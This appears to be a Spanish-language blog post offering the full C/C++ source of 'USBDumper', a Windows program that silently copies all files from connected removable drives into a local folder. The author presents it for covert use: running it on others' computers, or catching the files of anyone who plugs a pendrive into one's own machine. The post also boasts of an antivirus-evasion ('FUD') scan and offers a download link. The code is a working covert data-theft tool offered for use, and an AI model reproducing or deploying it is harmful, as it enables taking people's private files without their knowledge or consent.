Hola, en esta ocasión desarrolle un software que sirve para extraer de forma oculta todos los archivos de un USB, es decir, si vamos a algún lado y en nuestro pendrive llevamos este archivo lo que haremos es ejecutarlo y el resto de los pendrives conectado en el ordenador sus archivos se copiaran de forma oculta dentro de una nueva carpeta llamada USBDumper en donde lleves el archivo.
También funciona si alguien coloca un pendrive en tu ordenador, este copiara los archivos en una carpeta USBDumper donde este el archivo.
Dejo el código y su análisis FUD.
Link de descarga:
Citar
Codigo del Ejecutable! [C/C++]
Código: C++
- #include <windows.h>
- #include <shlwapi.h>
- bool __stdcall ListDirectory ( IN LPSTR lpszDirectory );
- bool __stdcall CopyFiles ( IN LPSTR lpszDirectory, IN DWORD Attributes );
- bool __stdcall ListDirectory ( IN LPSTR lpszDirectory )
- {
- WIN32_FIND_DATA find;
- HANDLE Search;
- char NewDirectory [ lstrlenA ( lpszDirectory ) + MAX_PATH ];
- lstrcpyA ( NewDirectory, lpszDirectory );
- lstrcatA ( NewDirectory, "*" );
- Search = FindFirstFileA ( NewDirectory, &find );
- if ( Search == 0L || Search == INVALID_HANDLE_VALUE )
- {
- FindClose ( Search );
- return false;
- }
- while ( FindNextFileA ( Search, & find ) )
- {
- char CopyDirectory [ lstrlenA ( lpszDirectory ) + MAX_PATH + lstrlenA ( find.cFileName ) ];
- lstrcpyA ( CopyDirectory, lpszDirectory );
- lstrcatA ( CopyDirectory, find.cFileName );
- if ( lstrcmpA ( find.cFileName, ".") != 0 && lstrcmpA ( find.cFileName, ".." ) != 0 && find.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )
- {
- lstrcatA ( CopyDirectory, "\\" );
- ListDirectory ( CopyDirectory );
- }
- CopyFiles ( CopyDirectory, find.dwFileAttributes );
- }
- FindClose ( Search );
- return true;
- }
- bool __stdcall CopyFiles ( IN LPSTR lpszDirectory, IN DWORD Attributes )
- {
- LPSTR Name, PathComplete, Temp, Teme;
- unsigned long len = 0, i = 0;
- bool dirent = false;
- if ( ! PathFileExistsA ( "USBDump" ) )
- {
- CreateDirectoryA ( "USBDump", 0L );
- }
- else
- {
- if ( GetFileAttributesA ( "USBDump" ) != FILE_ATTRIBUTE_DIRECTORY )
- {
- CreateDirectoryA ( "USBDump", 0L );
- }
- }
- Name = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 + lstrlenA ( lpszDirectory ) ) );
- Teme = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 + lstrlenA ( lpszDirectory ) ) );
- if ( Attributes == FILE_ATTRIBUTE_DIRECTORY )
- {
- for ( i = lstrlenA ( lpszDirectory ); i > 0; i -- )
- {
- if ( lpszDirectory [ i ] == '.' && lpszDirectory [ i + 1 ] == '.' )
- {
- CopyMemory ( & Teme [ 0 ], & lpszDirectory [ 0 ], ( lstrlenA ( lpszDirectory ) - 3 ) );
- dirent = true;
- break;
- }
- }
- }
- if ( dirent )
- {
- for ( i = lstrlenA ( Teme ); i > 0; i -- )
- {
- if ( Teme [ i ] == '\\' )
- {
- CopyMemory ( & Name [ 0 ], & Teme [ i + 1 ], lstrlenA ( Teme ) - ( i - 1 ) );
- GlobalFree ( Teme );
- dirent = false;
- break;
- }
- }
- Temp = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + lstrlenA ( Name ) + 1 ) );
- CopyMemory ( & Temp [ 0 ], & "USBDump\\", lstrlenA ( "USBDump" ) + 1 );
- CopyMemory ( & Temp [ lstrlenA ( Temp ) ], & Name [ 0 ], lstrlenA ( Name ) );
- CreateDirectoryA ( Temp, 0L );
- GlobalFree ( Temp );
- GlobalFree ( Teme );
- GlobalFree ( Name );
- GlobalFree ( PathComplete );
- return true;
- }
- else
- {
- for ( i = 0; i < lstrlenA ( lpszDirectory ); i ++ )
- {
- if ( lpszDirectory [ i ] == '\\' )
- {
- CopyMemory ( & Name [ 0 ], & lpszDirectory [ i + 1 ], lstrlenA ( lpszDirectory ) - ( i ) );
- dirent = false;
- break;
- }
- }
- }
- if ( Attributes != FILE_ATTRIBUTE_DIRECTORY )
- {
- if ( ( Attributes == FILE_ATTRIBUTE_HIDDEN ) || ( Attributes == FILE_ATTRIBUTE_READONLY ) ||
- ( Attributes == FILE_ATTRIBUTE_SYSTEM ) )
- {
- SetFileAttributesA ( lpszDirectory, FILE_ATTRIBUTE_NORMAL );
- }
- }
- PathComplete = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + lstrlenA ( Name ) + 1 ) );
- CopyMemory ( & PathComplete [ 0 ], & "USBDump\\", lstrlenA ( "USBDump" ) + 1 );
- //Name [ lstrlenA ( Name ) ] == '\\' ? len = lstrlenA ( Name ) - 1 : len = lstrlenA ( Name );
- CopyMemory ( & PathComplete [ lstrlenA ( PathComplete ) ], & Name [ 0 ], lstrlenA ( Name ) );
- CopyFileA ( lpszDirectory, PathComplete, false );
- GlobalFree ( Name );
- GlobalFree ( PathComplete );
- GlobalFree ( Teme );
- return true;
- }
- int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
- LPSTR lpszArgument, int nCmdFunstil )
- {
- LPSTR Drivers = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), 513 );
- GetLogicalDriveStringsA ( 512, Drivers );
- LPSTR Drive = Drivers;
- while ( *Drive )
- {
- if ( GetDriveTypeA ( Drive ) == DRIVE_REMOVABLE )
- {
- ListDirectory ( Drive );
- }
- Drive += lstrlenA ( Drive ) + 1;
- }
- GlobalFree ( Drivers );
- return EXIT_SUCCESS;
- }
No hay comentarios:
Publicar un comentario